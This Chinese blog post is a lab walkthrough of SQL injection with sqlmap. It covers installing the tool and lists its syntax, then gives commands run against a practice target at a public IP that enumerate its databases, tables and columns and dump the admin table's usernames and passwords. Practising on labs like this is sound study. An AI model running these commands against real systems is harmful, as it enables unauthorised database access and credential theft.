【Mac渗透测试】之SQL注入Demo

 

目录:

  一、下载安装sqlmap

  二、SQL注入

  三、参考文章

   

 

一、下载安装sqlmap

 

1、官网地址:http://sqlmap.org/#download

git下载:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

 

2、验证sqlmap安装成功:

sqlmap.py -v

 

 

二、SQL注入

1、首先网上找到了SQL 注入靶场:http://59.63.200.79:8003/?id=1

# 基础语法

sqlmap.py -u “注入地址”   --dbs   # 列举数据库
sqlmap.py -u “注入地址”   --current--db   # 当前数据库
sqlmap.py -u “注入地址”   --users    # 列数据库用户
sqlmap.py -u “注入地址”   --current--user  # 当前用户
sqlmap.py -u “注入地址”   --tables -D “数据库”   # 列举数据库的表名
sqlmap.py -u “注入地址”  --columns -T “表名” -D “数据库”   # 获取表的列名
sqlmap.py -u “注入地址”  --dump -C “列名字” -T “表名字”  -D “数据库”    # 获取数据库下表的列信息

2、查看是否可以SQL注入:

python sqlmap.py -u "http://59.63.200.79:8003/?id=1" --batch   

 

 

3、查看数据库:

python sqlmap.py -u "http://59.63.200.79:8003/?id=1" --batch --dbs   

 

 4、查看当前使用的数据库:

python sqlmap.py -u "http://59.63.200.79:8003/?id=1" --batch --current-db

 

 5、查看当前数据库的表:

python sqlmap.py -u "http://59.63.200.79:8003/?id=1" --batch -D maoshe --tables 

 

 6、查看admin表的sql字段列:

python sqlmap.py -u "http://59.63.200.79:8003/?id=1" --batch -D maoshe -T admin --columns

 

 7、查看maoshe数据库、admin表的“password,username”字段的值:

python sqlmap.py -u "http://59.63.200.79:8003/?id=1" --dump -C "password,username" -T admin -D maoshe

 三、参考文章  返回目录

1、感谢海龙。 的文章《SQLMap的安装与使用*****

2、感谢Agan '的文章《SQL注入篇:SQL 注入靶场练习【实例1】*****

3、感谢simeon的文章《超详细SQLMap使用攻略及技巧分享 ****

4、感谢的文章《零基础学习手工SQL注入(墨者学院靶场)

5、感谢迷途行者 的文章《第一次靶场练习:SQL注入(1)

 

posted @ 2020-09-17 16:40  Owen_ET  阅读(762)  评论(0编辑  收藏  举报